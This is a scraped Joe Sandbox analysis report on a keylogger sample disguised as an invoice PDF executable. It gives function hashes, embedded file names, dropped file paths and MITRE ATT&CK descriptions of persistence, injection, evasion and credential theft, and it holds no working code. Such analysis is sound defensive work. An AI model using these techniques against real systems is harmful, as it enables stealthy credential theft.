Source File: 0000000A.00000002.1808881900.00000000007CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e8da3406d780a1dca2f1394ad623f878b4b1420f686f95207aa1e53b052301b
Instruction ID: 3e54bb86537d02d8c5b959f475182c5ab41f94fe12a9e7071a4d505d0ecce9e7
Opcode Fuzzy Hash: 7e8da3406d780a1dca2f1394ad623f878b4b1420f686f95207aa1e53b052301b
Instruction Fuzzy Hash: BA21D071604204DFCB24DF18D9C4F26BBA5EB88314F20C57DD84A4B296C33ADC87CA61

Function 007CD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808881900.00000000007CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf08ed31cf57a77760c882f59440bb3c7335c68ea1b0c0f87d97a82296bffb3d
Instruction ID: 0e474fda36d3f0a849c4b4c1b2f49b440f9273a59d76bcb39189a13405fe7e8e
Opcode Fuzzy Hash: cf08ed31cf57a77760c882f59440bb3c7335c68ea1b0c0f87d97a82296bffb3d
Instruction Fuzzy Hash: 2321F2B1504204EFDB25DF14D9C4F26BBA5FB88314F24C67DE8494B296C33ADC46CA61

Function 007BD1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808808310.00000000007BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7bd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction ID: 6c09fa9bda38676ee3a2c9a6c320f9822a0025198021805b986b03a22037c4ac
Opcode Fuzzy Hash: d4a9c2a4520ad29cc5014b186a1537c42efb92585eeaa8902cc1b22a323ac8e1
Instruction Fuzzy Hash: 5D21B176504280DFDB16CF50D9C4B96BF72FB98314F24C5A9ED090B656C33AD82ACBA1

Function 007CD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808881900.00000000007CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 0049c0cc9a90065747447f96cf608d98403b0006f53a3be759710ebfd9de0c7f
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 60118B76504280DFDB16CF14D9C4B15BBA1FB84324F24C6AED8494B696C33AD84ACB61

Function 007CD017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808881900.00000000007CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7cd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: a30ae305594a42210599a7e4da668619d645c45d681d7457ad87a8a60e5f2847
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 4A119D75504284DFDB25CF18D5C4B16FFA2FB88314F24C6AED8494B656C33AD84ACBA2

Function 007BD745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808808310.00000000007BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7bd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d861a31a7c6d938cd098a837becb50769f49ed4ada086102cf46532e4f3259
Instruction ID: accb27f8296777b4065bc0c05a530cf99263f5950ed3aa83c73b0834c8a97833
Opcode Fuzzy Hash: 95d861a31a7c6d938cd098a837becb50769f49ed4ada086102cf46532e4f3259
Instruction Fuzzy Hash: 9A01DB710093409AE7305E26CD84BE7BF98DF51324F18C56AED194B286EA7DDC41C671

Function 007BD744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1808808310.00000000007BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 007BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7bd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5721e994ce8e6603006e87f7800677740f4681c24eccdc1a8d38c06b17ef6ebf
Instruction ID: f1e291f8917f2907bf7e3818795178515fa0d00501ff610a2274b4d31b74cee8
Opcode Fuzzy Hash: 5721e994ce8e6603006e87f7800677740f4681c24eccdc1a8d38c06b17ef6ebf
Instruction Fuzzy Hash: 36F096714053449EE7209E16CCC8BA6FFA8EF51734F18C45AED085F286D6799C44CBB1

Analysis Process: vrhZELiHpiub.exePID: 7364, Parent PID: 8164COMMON

Execution Graph

Execution Coverage:	14.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 05518BD0 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4192215773.0000000005510000.00000040.00000800.00020000.00000000.sdmp, Offset: 05510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5510000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd3b9e97f1244bd402ecfe2882cb5e7a94a81cc1eae82425b72a888d153d05b0
Instruction ID: 830d0b5b9a699f42ec2412145367ac948648432f9a36c5ca4f63b14f5c27a72b
Opcode Fuzzy Hash: cd3b9e97f1244bd402ecfe2882cb5e7a94a81cc1eae82425b72a888d153d05b0
Instruction Fuzzy Hash: C3F1E674E01218DFDB14DFA9D884B9DBBB2BF88304F54C1A9E808AB355DB30A985CF54

Function 05518FB4 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 055190F6

Memory Dump Source

Source File: 0000000D.00000002.4192215773.0000000005510000.00000040.00000800.00020000.00000000.sdmp, Offset: 05510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5510000_vrhZELiHpiub.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f22c0ef28e3a584b6a5e68097fc50d306c481162607599a5b6d57e28e164d75b
Instruction ID: b39b2b3495c494e0cb7f7b1e73fc701db9f160d282994229c48e62f022f92752
Opcode Fuzzy Hash: f22c0ef28e3a584b6a5e68097fc50d306c481162607599a5b6d57e28e164d75b
Instruction Fuzzy Hash: F8117C74E011099FEB04DFA8E494EADBFB5FF88304F148165F815E7246EB30A981CB68

Function 0111EC85 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0111EC9C

Memory Dump Source

Source File: 0000000D.00000002.4178481349.0000000001110000.00000040.00000800.00020000.00000000.sdmp, Offset: 01110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1110000_vrhZELiHpiub.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc96c078ef63ab750eab3aa8ecdcc58dc17901e3f594b5ffc4ecd9cf0897bd13
Instruction ID: 4ccd0738a3b9f6d46bc8a30ca7bf2e6070056887a58180c5ca7a12fcb5f79759
Opcode Fuzzy Hash: bc96c078ef63ab750eab3aa8ecdcc58dc17901e3f594b5ffc4ecd9cf0897bd13
Instruction Fuzzy Hash: 11217E74E11229CFDB68DFA8D984B9DBBB1BF49304F5080A9D809E7365DB30A985CF40

Function 010AD468 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4177929548.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_10ad000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5163e0d4b081262029f8961b7d2dbc7760ca3f2c349cffe67013baf7005fa861
Instruction ID: 06281c93bdb09a4df93044befe86bd82aac1fefd58b6bdb1e65edad4ee510831
Opcode Fuzzy Hash: 5163e0d4b081262029f8961b7d2dbc7760ca3f2c349cffe67013baf7005fa861
Instruction Fuzzy Hash: 86214571100200DFCB01DF98D9C0B6ABFA5FB98318F60C1A9E8890B656C336D446C7A2

Function 010BD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4178009650.00000000010BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_10bd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5f964deb84a77da0d202a2bc67d442940d818c03e756154c4e4db4af697821
Instruction ID: 707af027f7e04185db9b2351b080cff91fd657dc8129335b0011325a0a28d9d6
Opcode Fuzzy Hash: 6e5f964deb84a77da0d202a2bc67d442940d818c03e756154c4e4db4af697821
Instruction Fuzzy Hash: 14213771504204EFCB11DF58C9C4B66FBA5FB84318F20C9ADE9894B252C73AD446CB61

Function 010AD463 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4177929548.00000000010AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_10ad000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: f96cfa2a6c0ebe51911b62ffac09769908d096e550b9155e5080e17c353de04b
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: C2110376404240CFCB02CF54D5C4B16BFB2FB94318F24C6A9D8890B657C336D45ACBA2

Function 010BD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4178009650.00000000010BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_10bd000_vrhZELiHpiub.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 506273fc007f28dfddb54e271b2c15f280ad5d53a4e85b378a8d3afb451926cf
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 5411D075504244DFDB12CF54C5C4B55FFA1FB44318F24CAA9E9894B256C33AD44ACF51

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000000.1713581431.000000000042A000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameeIf.exeR vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1774480735.00000000073F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.000000000282B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemscorlib.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\040904B0\\OriginalFilename vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeIf.exeR vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: $^q,\\StringFileInfo\\000004B0\\OriginalFilename vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Windows.Forms.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Drawing.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Configuration.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Core.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Xml.dllT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1770439227.00000000027EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.VisualBasic.DLLT vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRemington.exe4 vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4175822593.0000000000937000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Proforma Invoice_21-1541 And Packing List.pdf.exe
Source: Proforma Invoice_21-1541 And Packing List.pdf.exe	Binary or memory string: OriginalFilenameeIf.exeR vs Proforma Invoice_21-1541 And Packing List.pdf.exe

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Proforma Invoice_21-1541 And Packing List.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Proforma Invoice_21-1541 And Packing List.pdf.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vrhZELiHpiub.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iuqeumpe.43c.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5pskkbn.0h1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlinndbh.thb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5mbjna1.i3v.psm1

C:\Users\user\AppData\Local\Temp\tmp5F82.tmp

C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp

C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Windows Analysis Report
Proforma Invoice_21-1541 And Packing List.pdf.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

